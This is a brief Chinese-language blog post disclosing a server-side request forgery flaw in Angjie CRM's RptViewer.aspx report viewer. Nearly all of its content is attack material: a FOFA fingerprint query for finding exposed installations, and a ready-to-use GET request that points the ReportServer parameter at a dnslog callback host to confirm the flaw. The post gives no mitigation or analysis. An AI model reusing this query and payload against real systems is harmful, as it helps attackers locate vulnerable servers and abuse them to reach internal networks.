昂捷CRM RptViewer.aspx存在SSRF

2025年7月31日发布

078521

fofa：

(body="CheckSilverlightInstalled()" && body="AllowHtmlPopupwindow") || body="/ClientBin/slEnjoy.App.xap"

GET /WebForms/RptViewer.aspx?ReportServer=http://{{dnslog}}

文章版权归作者所有，未经允许请勿转载。

THE END

喜欢就支持一下吧

请登录后查看评论内容